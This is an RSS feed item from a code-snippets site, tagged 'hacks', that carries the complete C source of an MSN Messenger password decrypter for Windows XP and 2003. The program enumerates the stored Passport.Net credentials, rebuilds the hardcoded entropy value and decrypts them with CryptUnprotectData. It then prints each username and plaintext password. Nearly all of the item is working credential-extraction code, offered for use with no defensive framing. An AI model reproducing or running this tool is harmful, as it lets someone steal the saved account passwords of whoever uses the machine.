<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DZone Snippets: hacks code</title>
    <link>http://snippets.dzone.com/posts</link>
    <pubDate>Thu, 21 Aug 2008 16:25:25 GMT</pubDate>
    <description>DZone Snippets: hacks code</description>
    <item>
      <title>MSN Messenger Password Decrypter for Windows XP &amp; 2003</title>
      <link>http://snippets.dzone.com/posts/show/1007</link>
      <description>// MSN Messenger Password Decrypter for Windows XP &amp; 2003&lt;br /&gt;&lt;br /&gt;&lt;code&gt;&lt;br /&gt; /*&lt;br /&gt; *  MSN Messenger Password Decrypter for Windows XP &amp; 2003&lt;br /&gt; *  (Compiled-VC++ 7.0, tested on WinXP SP2, MSN Messenger 7.0)&lt;br /&gt; *      - Gregory R. Panakkal&lt;br /&gt; *        http://www.crapware.tk/&lt;br /&gt; *        http://www.infogreg.com/&lt;br /&gt; */&lt;br /&gt;&lt;br /&gt;#include &lt;windows.h&gt;&lt;br /&gt;#include &lt;wincrypt.h&gt;&lt;br /&gt;#include &lt;stdio.h&gt;&lt;br /&gt;&lt;br /&gt;#pragma comment(lib, "Crypt32.lib")&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;//Following definitions taken from wincred.h&lt;br /&gt;//[available only in Oct 2002 MS Platform SDK / LCC-Win32 Includes]&lt;br /&gt;&lt;br /&gt;typedef struct _CREDENTIAL_ATTRIBUTEA {&lt;br /&gt;    LPSTR Keyword;&lt;br /&gt;    DWORD Flags;&lt;br /&gt;    DWORD ValueSize;&lt;br /&gt;    LPBYTE Value;&lt;br /&gt;}&lt;br /&gt;CREDENTIAL_ATTRIBUTEA,*PCREDENTIAL_ATTRIBUTEA;&lt;br /&gt;&lt;br /&gt;typedef struct _CREDENTIALA {&lt;br /&gt;    DWORD Flags;&lt;br /&gt;    DWORD Type;&lt;br /&gt;    LPSTR TargetName;&lt;br /&gt;    LPSTR Comment;&lt;br /&gt;    FILETIME LastWritten;&lt;br /&gt;    DWORD CredentialBlobSize;&lt;br /&gt;    LPBYTE CredentialBlob;&lt;br /&gt;    DWORD Persist;&lt;br /&gt;    DWORD AttributeCount;&lt;br /&gt;    PCREDENTIAL_ATTRIBUTEA Attributes;&lt;br /&gt;    LPSTR TargetAlias;&lt;br /&gt;    LPSTR UserName;&lt;br /&gt;} CREDENTIALA,*PCREDENTIALA;&lt;br /&gt;&lt;br /&gt;typedef CREDENTIALA CREDENTIAL;&lt;br /&gt;typedef PCREDENTIALA PCREDENTIAL;&lt;br /&gt;&lt;br /&gt;////////////////////////////////////////////////////////////////////&lt;br /&gt;&lt;br /&gt;typedef BOOL (WINAPI *typeCredEnumerateA)(LPCTSTR, DWORD, DWORD *, PCREDENTIALA **);&lt;br /&gt;typedef BOOL (WINAPI *typeCredReadA)(LPCTSTR, DWORD, DWORD, PCREDENTIALA *);&lt;br /&gt;typedef VOID (WINAPI *typeCredFree)(PVOID);&lt;br /&gt;&lt;br /&gt;typeCredEnumerateA pfCredEnumerateA;&lt;br /&gt;typeCredReadA pfCredReadA;&lt;br /&gt;typeCredFree pfCredFree;&lt;br /&gt;&lt;br /&gt;////////////////////////////////////////////////////////////////////&lt;br /&gt;&lt;br /&gt;void showBanner()&lt;br /&gt;{&lt;br /&gt;    printf("MSN Messenger Password Decrypter for Windows XP/2003\n");&lt;br /&gt;    printf("   - Gregory R. Panakkal, http://www.infogreg.com \n\n");&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;////////////////////////////////////////////////////////////////////&lt;br /&gt;int main()&lt;br /&gt;{&lt;br /&gt;    PCREDENTIAL *CredentialCollection = NULL;&lt;br /&gt;    DATA_BLOB blobCrypt, blobPlainText, blobEntropy;&lt;br /&gt;&lt;br /&gt;    //used for filling up blobEntropy&lt;br /&gt;    char szEntropyStringSeed[37] = "82BD0E67-9FEA-4748-8672-D5EFE5B779B0"; //credui.dll&lt;br /&gt;    short int EntropyData[37];&lt;br /&gt;    short int tmp;&lt;br /&gt;&lt;br /&gt;    HMODULE hDLL;&lt;br /&gt;    DWORD Count, i;&lt;br /&gt;&lt;br /&gt;    showBanner();&lt;br /&gt;&lt;br /&gt;    //Locate CredEnumerate, CredRead, CredFree from advapi32.dll&lt;br /&gt;    if( hDLL = LoadLibrary("advapi32.dll") )&lt;br /&gt;    {&lt;br /&gt;        pfCredEnumerateA = (typeCredEnumerateA)GetProcAddress(hDLL, "CredEnumerateA");&lt;br /&gt;        pfCredReadA = (typeCredReadA)GetProcAddress(hDLL, "CredReadA");&lt;br /&gt;        pfCredFree = (typeCredFree)GetProcAddress(hDLL, "CredFree");&lt;br /&gt;&lt;br /&gt;        if( pfCredEnumerateA == NULL||&lt;br /&gt;            pfCredReadA == NULL ||&lt;br /&gt;            pfCredFree == NULL )&lt;br /&gt;        {&lt;br /&gt;            printf("error!\n");&lt;br /&gt;            return -1;&lt;br /&gt;        }&lt;br /&gt;    }&lt;br /&gt;    &lt;br /&gt;&lt;br /&gt;    //Get an array of 'credential', satisfying the filter&lt;br /&gt;    pfCredEnumerateA("Passport.Net\\*", 0, &amp;Count, &amp;CredentialCollection);&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;    if( Count ) //usually this value is only 1&lt;br /&gt;    {&lt;br /&gt;&lt;br /&gt;        //Calculate Entropy Data&lt;br /&gt;        for(i=0; i&lt;37; i++) // strlen(szEntropyStringSeed) = 37&lt;br /&gt;        {&lt;br /&gt;            tmp = (short int)szEntropyStringSeed[i];&lt;br /&gt;            tmp &lt;&lt;= 2;&lt;br /&gt;            EntropyData[i] = tmp;&lt;br /&gt;        }&lt;br /&gt;&lt;br /&gt;        for(i=0; i&lt;Count; i++)&lt;br /&gt;        {&lt;br /&gt;            blobEntropy.pbData = (BYTE *)&amp;EntropyData;&lt;br /&gt;            blobEntropy.cbData = 74; //sizeof(EntropyData)&lt;br /&gt;&lt;br /&gt;            blobCrypt.pbData = CredentialCollection[i]-&gt;CredentialBlob;&lt;br /&gt;            blobCrypt.cbData = CredentialCollection[i]-&gt;CredentialBlobSize;&lt;br /&gt;&lt;br /&gt;            CryptUnprotectData(&amp;blobCrypt, NULL, &amp;blobEntropy, NULL, NULL, 1, &amp;blobPlainText);&lt;br /&gt;            &lt;br /&gt;            printf("Username : %s\n", CredentialCollection[i]-&gt;UserName);&lt;br /&gt;            printf("Password : %ls\n\n", blobPlainText.pbData);&lt;br /&gt;        }&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;    pfCredFree(CredentialCollection);&lt;br /&gt;}&lt;br /&gt;&lt;/code&gt;</description>
      <pubDate>Thu, 22 Dec 2005 18:05:10 GMT</pubDate>
      <guid>http://snippets.dzone.com/posts/show/1007</guid>
      <author>mornlee (mornlee)</author>
    </item>
  </channel>
</rss>
